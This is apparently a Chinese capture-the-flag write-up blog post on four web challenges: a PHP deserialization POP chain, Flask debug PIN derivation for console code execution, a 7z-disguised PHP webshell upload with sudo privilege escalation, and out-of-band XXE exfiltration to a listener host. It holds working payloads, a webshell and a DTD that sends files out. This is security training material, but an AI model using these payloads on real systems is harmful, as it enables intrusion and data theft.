week4php反序列化
开始给了这些代码
<?php?phphighlight_file('index.php');
Class Start{ public $ishero; public $adventure;
public function __wakeup(){
if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") { echo "<br>勇者啊,去寻找利刃吧<br>";
return $this->adventure->sword; } else{ echo "前方的区域以后再来探索吧!<br>"; } }}
class Sword{ public $test1; public $test2; public $go;
public function __get($name) { if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) { echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>"; echo $this->go; } else { echo "Dead"; } }}class Mon3tr{ private $result; public $end;
public function __toString() { $result = new Treasure(); echo "到此为止了!魔王<br>"; if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) { $result->end($this->end); } else { echo "难道……要输了吗?<br>"; } return "<br>"; }}class Treasure{ public function __call($name, $arg) { echo "结束了?<br>"; eval($arg[0]); }}
if (isset($_POST["HERO"])) { unserialize($_POST["HERO"]);}“一个简单的反序列化,从那个后往前看,调用不存在的方法(属性)时执行其参数值,当对象被当字符串调用时过了防火墙之后调用不存在的方法,调用不存在的属性时过了md5强碰撞之后,把属性go当作字符串调用(go属性指向前面的对象),然后到了最前面,如果反序列化了自动调用__wakeup(),如果ishero的值不等于hero又包含hero时,调用不存在的属性sowrd,ok了,闭环,接下来直接贴payload。
<?php
class Start { public $ishero; public $adventure;}
class Sword { public $test1; public $test2; public $go;}
class Mon3tr { private $result; public $end;}
$o = new Start();$o->ishero = "hero1";$o->adventure = new Sword();$o->adventure->test1 = [1];$o->adventure->test2 = [2];$o->adventure->go = new Mon3tr();$o->adventure->go->end = "eval(\"\\\$x='sy'.'stem';\\\$x('c'.'at /fla*');\");";
echo serialize($o);W4好像什么都能读
这题一开始是这个页面


看了看没啥大问题,大概是/read?filename=xxx然后读文件,读一读app.py

发现存在任意文件读取,并且debug调试是开的,那么我们可以利用这两个点打组合拳。
因为进debug调试需要pin,那么这里知识就有些多了,来吧,展示:
pin码也就是flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式。
条件:debug模式 有任意文件读取如/file?filename= 满足六要素
老生常谈六要素:
username,用户名
modname,默认值为flask.app
appname,默认值为Flask
moddir,flask库下app.py的绝对路径
uuidnode,当前网络的mac地址的十进制数
machine_id,docker机器id
username:
通过文件读取/etc/passwd,找带shell的,一般为root
modename:
一般默认为flask.app
appname:
一般不变就是Flask
moddir:
app.py的绝对路径,只需要让程序报错就会泄露该值 #/usr/local/lib/python3.9/site-packages/flask/app.py
uuidnode:
mac地址的十进制数,通过读/sys/class/net/eth0/address获得十六进制数然后去掉冒号转十进制或者cmd里用python执行print(int(‘5aefc61f2456’,16))
machine_id:
每一个机器都会有自已唯一的id,Linux具体过程就是先找/etc/machine-id,如果有就去找/proc/self/cgroup进行拼接,如果没有就用/proc/sys/kernel/random/boot_id和/proc/self/cgroup的0::/后面的内容进行拼接(或者docker/后面那一串),如果为空就为空。
最后注意一下加密算法以前是md5,3.8及之后是sha1,注意改算法`
如果console访问不到控制台
需要:
1.Host改127.0.0.1 只要是访问/console都需要带host
2.获取cookie /console?debugger=yes&cmd=pinauth&pin=245-243-598&s=KFThF5Qtc7mCpJREkDHF
S是报错里的SECRET,要右键源码找 提交正确的pin码后会返回cookie 需要带host
- 执行代码/console?debugger=yes&cmd=print(%27mixian%27)&frm=140360546289440&s=KFThF5Qtc7mCpJREkDHF
frm依旧报错右键源码找frame 如果没有就是0如果有任意一个都可以 需要带上host和cookie
因为刚开始脑子糊,我原先并不清楚pin的计算方法和werkzeug版本的区别,于是去看__init__.py文件,路径是
/home/ctf/.local/lib/python3.13/site-packages/werkzeug/debug/init.py,然后发现只能支持127.0.0.1进入调试,不然会被反代理拦截,那么我们通过计算出的pin输入pin输入框后(另外,调试台不给我显示,控制台显示指令是promptForPin();)然后去读SECRET,直接控制台输入,然后frm也可以在控制台解锁后输入frm直接查找,然后cmd=xxxx,列出当前文件,打payload,url编码保证传输,大概格式是这样
/read?debugger=yes&cmd=<URL编码后的Python表达式>&frm=<FRAME_ID>&s=
这题的列出文件payload是(import(‘os’).popen(‘ls -la / /home/ctf /home/ctf/instance’).read())
然后发现了/fllllaggggggggggg这个文件,ok直接open一读,完事,出狱!!!
W4.getshell
首先,给了一个附件,看看代码
<?phperror_reporting(0);
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];$allowed_mime_types = [ 'application/zip', 'application/x-bzip2', 'application/gzip', 'application/x-gzip', 'application/x-xz', 'application/x-7z-compressed',];
function filter($tempfile){ $data = file_get_contents($tempfile); if ( stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false || stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false ) { return true; } return false;}
if ($_SERVER["REQUEST_METHOD"] == 'POST') { if (is_uploaded_file($_FILES['file']['tmp_name'])) { if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) { die("Nope :<"); }
// mimetype check $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']); finfo_close($finfo);
if (!in_array($mime_type, $allowed_mime_types)) { die('unexpected mimetype'); }
// ext check $ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) { die('unexpected extension'); }
if (move_uploaded_file($_FILES['file']['tmp_name'], "/tmp/" . basename($_FILES['file']['name']))) { echo "File upload success!Please include with 'url'"; }else{ echo "fail"; } }}
if (isset($_GET['url'])) {
$include_url = basename($_GET['url']);
if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) { die("unexpected extension");}
include '/tmp/' . $include_url;exit;}?><form enctype='multipart/form-data' method='post'> <input type='file' name='file'> <input type="submit" value="upload"></p></form>审计一下,大概就是只能上传zip,7z等格式的压缩文件,但是,还限制了<?和**<?php**,PK,和函数__HALT_COMPILER()这个<?和<?php就不多说了,是限制php上传的,那么PK是zip的文件头,__HALT_COMPILER()是一个嵌入数据的函数,这有点自相矛盾,能传zip又禁了zip的文件头,也就是不让我们传zip,那么好,直接传7z,然后伪装一下,加个文件头(其实好像不加也行),以下是一句话木马payload(不知道冰蝎咋回事执行命令没回显):
<script language="php">system($_GET['c']);</script>然后加的7z文件头是37 7A BC AF 27 1C,直接十六进制加。
然后就开始下一步,我们开始通过一句话木马执行指令,发现自己是www-data也就是普通用户的权限,然后目录遍历,c=ls ../../../找到了flag,直接读回显空白,看看所需权限,‘-r-------- 1 root root 42 Oct 22 04:50 ../../../flag,发现需要root才能查看,好了这下,直接提权,我们先试试suid,打payload:find / -perm -4000 -type f -exec ls -ls {} 2>/dev/null \
-rwsr-xr-x 1 root root 36560 May 19 2018 /bin/su48 -rwsr-xr-x 1 root root 47376 May 19 2018 /usr/bin/passwd56 -rwsr-xr-x 1 root root 55200 May 19 2018 /usr/bin/gpasswd56 -rwsr-xr-x 1 root root 55408 May 19 2018 /usr/bin/chage44 -rwsr-xr-x 1 root root 41848 May 19 2018 /usr/bin/chfn116 -rwsr-xr-x 1 root root 116024 Feb 5 2020 /usr/bin/sudo20 -rwsr-xr-x 1 root root 18608 May 19 2018 /usr/bin/expiry32 -rwsr-xr-x 1 root root 32256 May 19 2018 /usr/bin/chsh32 -rwsr-xr-x 1 root root 32088 May 19 2018 /usr/bin/newgrp结果没发现什么高危的,试了试sudo的几个高危险CVE,没啥用,然后看/etc/sudoers这个sudo命令的配置文件,在最后一行发现www-data asd.asd.asd = NOPASSWD
然后利用,直接打出payload利用漏洞越权拿flag:\
sudo -h asd.asd.asd cat ../../../flag,直接KO
W3基础XXE出网
这边是上来是一个xml输入界面
输入只有seccess,faliled,hacker。没有回显,办法试试dtd外带。又因为过滤了!ENTITY,只能外部引用了,我试试写写payload
以上,其中的&file是引用上面dtd的参数,这是攻击payload
然后,再是服务器的内容,服务器的payload我试试手打。
<!ENTITY %ddk SYSTEM 'php://filter/read=convert.base64.encode/resource='/f1111llllaa44g'><!ENTITY %vps '<!ENTITY %ppk SYSTEM 'http://asdasdadadadd:2333/&ddk'>'>%ppk;%vps;这个解释一下,ddk引用内容,然后下面至于为什么要套壳,是为了延迟输出,从而绕过waf,还有如果在前面直接用%是ok,但是在后面<>里要用;证明这个十进制或者十六进制的合法性,然后就没啥了,直接nc监听,然后看到/xxxxxxxx的就是flag。这个吧,原理就是把dtd文件引用然后解析ppk,vps,就连上nc了,然后最后一点,他妈
&file;我一直懵逼到底干嘛用,其实就是防止报错,这是维持xml结构正确的,本身没啥用,ok结束
部分信息可能已经过时





